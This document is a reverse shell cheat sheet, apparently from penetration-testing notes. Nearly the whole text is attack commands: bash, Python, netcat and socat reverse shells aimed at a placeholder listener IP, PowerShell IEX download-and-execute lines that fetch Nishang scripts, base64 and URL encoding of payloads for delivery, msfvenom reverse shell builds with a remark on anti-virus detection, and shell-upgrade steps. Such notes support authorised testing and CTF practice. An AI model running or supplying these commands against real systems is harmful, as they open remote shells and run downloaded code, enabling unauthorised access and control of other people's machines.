Jump to…

Shell Variants



# Listener
nc -nvlp 4444

# Victim
bash -i >& /dev/tcp/<listener_ip>/4444 0>&1


# Listener
nc -u -lvp 4444

# Victim
sh -i >& /dev/udp/<listener_ip>/4444 0>&1


# Listener
nc -nvlp 4444

# Victim
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<listener_ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'


Nishang provides a wide variety of reverse shell options depending on what type of protocol you’re looking for (including ICMP).

In each of the reverse shells there are usage examples, and typically the easiest way to work with them is to make a copy of the ps1 and add the desired execution as a line at the end of the file so that executing the script will get you a shell in 1 line. For example, at the end adding:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 4444

via HTTP

If you have command execution and an available outbound TCP port from the victim back to your box, then simply hosting the ps1 on a local webserver and performing IEX IWR will likely be sufficient. For example:

powershell "IEX((New-Object Net.WebClient).downloadString('http://<listener_ip>:<port>/Invoke-PowerShellTcp.ps1'))"  # PowerShell 2  
powershell "IEX(IWR('http://<listener_ip>:<port>/Invoke-PowerShellTcp.ps1'))"

via copy/paste or URL base64-encoded

Based on IppSec’s Minon video

First, base64 encode the file using powershell on Kali. Don’t forget to encode as UTF-16 for windows!

cat Invoke-PowerShellIcmp.ps1 | iconv -t utf-16le > encoded.ps1.b64
xxd encoded.ps1.b64 # Just to verify encoding

Or you can do the same thing using Kali’s instance of PowerShell

$RevShell = Get-Content ./Invoke-PowerShellIcmp.ps1 -raw
$bytes = [System.Text.Encoding]::Unicode.GetBytes($RevShell)
$Encoded = [Convert]::ToBase64String($bytes)
$Encoded | Out-File encoded.ps1.b64

Verify the encoded payload by decoding it real quick.

$Decode = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($Encoded))

If you need to break the string up into smaller segments, use fold:

fold -w 120 encoded.ps1.b64 > encoded.lines.ps1.b64

If this is going over a HTTP request, don’t forget to URL encode as well!

grep \+ encoded.lines.ps1.b64             # Does it have + characters?

sed -i 's/+/%2b/g' encoded.lines.ps1.b64  # URL encode + characters
sed -i 's/=/%3d/g' encoded.lines.ps1.b64  # URL encode = characters
sed -i 's/\//%2f/g' encoded.lines.ps1.b64  # URL encode / characters



nc -nvlp <port>


# Linux
nc -e /bin/sh <listener_ip> <port>
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <listener_ip> <port> >/tmp/f

# Windows
nc64.exe -e cmd.exe <listener_ip> <port>
nc64.exe -e powershell <listener_ip> <port>



If you can execute commands and download a file on the target, then msfvenom can build you a reverse shell. Using shell_reverse_tcp for the respective platform will allow the reverse shell to be caught by nc. WARNING: This is very likely to be spotted by anti-virus if present.

A few common ones:

# Linux (unstaged)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f elf -o rshell.elf  # 64-bit
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f elf -o rshell.elf  # 32-bit

# Windows (unstaged)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT>  -f exe > rshell.exe  # 64-bit
msfvenom -p windows/shell_reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT>  -f exe > rshell.exe      # 32-bit

To list all payload options:

msfvenom --list payloads

Upgrade Your Shell

Once you have a shell, you’ll often need to upgrade it to be a fully interactive TTY shell.

Python pty module

The easiest way to do that is if python (or python3) is present on the target.

python -c 'import pty; pty.spawn("/bin/bash")'

Once you have the upgraded shell, make it even easier on yourself by sending raw commands as well for features like tab completion.

# Background the Shell

# On the host/Kali box
stty raw -echo  # Enable raw commands
fg              # Foreground the shell

# Back in the shell...
reset                           # reset the shell
export SHELL=bash               # export SHELL if not set
export TERM=xterm-256color      # export TERM if not set
stty rows <num> columns <cols>  # define the tty size to match your host console size


script -q /dev/null


If python isn’t available, the next bext option is to upload a socat binary to the target. Once uploaded, establish a new reverse shell:

# Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<listener_ip>:4444